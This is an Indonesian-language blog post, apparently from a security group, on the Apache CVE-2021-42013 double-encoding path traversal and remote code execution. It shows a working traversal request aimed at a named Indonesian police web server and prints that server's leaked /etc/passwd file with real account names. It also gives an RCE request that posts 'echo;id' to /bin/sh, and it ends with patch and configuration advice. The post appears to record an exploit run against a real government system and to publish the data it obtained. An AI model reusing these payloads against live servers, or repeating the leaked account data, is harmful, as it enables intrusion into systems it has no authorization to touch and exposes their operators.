Apache HTTP Server Path Traversal & Remote Code Execution (RCE) Kepolisian Negara Republik Indonesia

PwnOsec Research Groups
3 min readJan 7, 2024

--

Exploitation Impact : Tingkat keparahan kerentanan ini meningkat jika skrip CGI diaktifkan untuk jalur yang disamarkan. Mengeksploitasi kerentanan ini memberi penyerang kemampuan untuk mengeksekusi kode arbitrer dari jarak jauh pada server yang ditargetkan, yang berpotensi menyebabkan kompromi sistem secara keseluruhan. Hal ini menekankan urgensi peningkatan ke versi aman Apache HTTP Server.

Recommendations : Untuk mengatasi risiko yang ditimbulkan oleh CVE-2021–42013 secara efektif, Anda harus meningkatkan ke versi di atas Apache HTTP Server 2.4.50. Memantau saran keamanan secara teratur dan segera menerapkan pembaruan adalah praktik mendasar untuk menegakkan keamanan server web. CVE-2021–42013 menggarisbawahi lanskap ancaman yang terus berkembang yang dinavigasi oleh administrator web dan profesional keamanan. Pemahaman yang kuat tentang kerentanan ini memberdayakan individu untuk mengamankan server web, berkontribusi pada lingkungan online yang lebih aman.

Tools:

  1. Burp Suite
  2. GNU/Terminal (as a exploit/code)
  3. Simple use ApachSAL available on @imhunterand

Path Traversal Analysis

Kerentanan penelusuran jalur diperkenalkan karena perubahan kode baru yang ditambahkan untuk normalisasi jalur, yaitu untuk jalur URL untuk menghapus bagian yang tidak diinginkan atau berbahaya dari nama jalur, tetapi tidak cukup untuk mendeteksi teknik yang berbeda dalam mengkodekan karakter penelusuran jalur “titik-titik garis miring (../)”

Untuk mencegah serangan penelusuran jalur, fungsi normalisasi yang bertanggung jawab untuk menyelesaikan nilai yang dikodekan URL dari URI yang diminta, menyelesaikan nilai Unicode satu per satu. Oleh karena itu, ketika URL mengkodekan titik kedua sebagai %2e, logika gagal mengenali %2e sebagai titik sehingga tidak mendekodekannya, hal ini mengubah karakter ../ menjadi .%2e/ dan melewati pemeriksaan.

Bersama dengan bypass pemeriksaan penelusuran jalur, agar server HTTP Apache menjadi rentan, konfigurasi Server HTTP harus berisi direktori direktori untuk seluruh sistem berkas server sebagai Require all granted atau direktori direktori harus benar-benar hilang dari file konfigurasi.

Vulnerable Configuration:

<Directory />
Require all granted
</Directory>

Oleh karena itu, melewati pemeriksaan titik-titik sebagai .%2e dan merantainya dengan direktori direktori yang tidak dikonfigurasi dengan benar memungkinkan penyerang untuk membaca file sewenang-wenang seperti password dari sistem file server yang rentan.

About CVE-2021–42013

CVE-2021–42013 diperkenalkan karena perbaikan untuk CVE-2021–41773 di Apache HTTP Server 2.4.50 tidak mencukupi karena tidak mencakup pengkodean URL ganda, oleh karena itu konfigurasi yang rentan tetap sama, tetapi muatan yang digunakan di 2.4.49 adalah URL ganda yang disandikan di 2.4.50 untuk mengatur penelusuran jalur yang sama dan serangan eksekusi kode jarak jauh.

Serangan pada 2.4.49 awalnya mengkodekan titik kedua (.) menjadi %2e dan hal yang sama juga terjadi pada URL ganda yang dikodekan menjadi%%32%65 untuk versi 2.4.50

Encoding Analysis

Konversi: dot → %2e%%32%65

  • 2 dikodekan ke %32
  • e dikodekan menjadi %65
  • dan original % dibiarkan apa adanya

Dengan demikian a dot setara dengan %%32%65yang akhirnya mengubah ../ dalam format penyandian URL ganda sebagai %%32%65%%32%65/

Exploitation: Path Traversal

Request:

GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: dumaspresisi.itwasum.polri.go.id:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Date: Sun, 07 Jan 2024 15:26:34 GMT
Server: Apache
Last-Modified: Thu, 14 Apr 2022 15:56:29 GMT
Accept-Ranges: bytes
Content-Length: 1820
Connection: close

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
infra:x:1000:1000::/home/infra:/bin/bash
admdumas:x:1001:1001::/home/admdumas:/bin/bash
webuzo:x:996:994::/home/webuzo:/bin/bash
saslauth:x:995:76:Saslauthd user:/run/saslauthd:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
emps:x:994:1002::/home/emps:/bin/bash

Exploitation: Remote Code Execution

Request:

POST /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
echo;id

Response:

HTTP/1.1 200 OK
Date: Mon, 18 Oct 2021 10:42:40 GMT
Server: Apache/2.4.50 (Unix)
Connection: close
Content-Length: 45
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Solution

Organisasi yang menggunakan Apache HTTP Server 2.4.49 atau 2.4.50 disarankan untuk meningkatkan ke HTTP Server 2.5.51 atau versi yang lebih baru untuk memperbaiki CVE-2021–41773 & CVE-2021–42013.

Untuk mempertahankan praktik keamanan terbaik, Qualys juga menyarankan pengguna untuk memastikan hal-hal berikut ini:

  • mod_cgi dinonaktifkan secara default kecuali jika bisnis memerlukannya.
  • direktori direktori sistem berkas yang akan diperbarui dengan Require all denied seperti yang ditunjukkan di bawah ini:
<Directory />
Require all denied
</Directory>

Thanks, @imhunterand

--

--

PwnOsec Research Groups
PwnOsec Research Groups

Written by PwnOsec Research Groups

A Private Cybersecurity Company aka PT. PwnOsec Technologies Ltd.

No responses yet